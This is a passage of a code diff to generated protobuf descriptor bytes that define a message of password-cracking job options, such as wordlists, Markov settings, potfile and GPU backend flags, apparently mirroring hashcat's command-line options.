0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, + 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, + 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, + 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, + 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, + 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, + 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, + 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, + 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, + 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, + 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, + 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, + 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, + 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, + 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, + 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, + 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, + 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, + 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, + 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, + 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, + 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, + 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, + 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, + 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, + 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, + 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, + 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, + 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, + 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, + 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, + 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, + 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, + 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, + 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, + 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, + 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, + 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, + 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, + 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, + 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, + 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, + 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, + 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, + 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, + 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, + 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, + 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, - 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, - 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, - 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, - 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, - 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, - 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, - 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, - 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, - 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, - 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, - 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, - 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, - 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, - 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, - 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, - 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, - 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, - 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, - 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, - 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, - 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, - 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, - 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, - 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, - 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, - 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, - 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 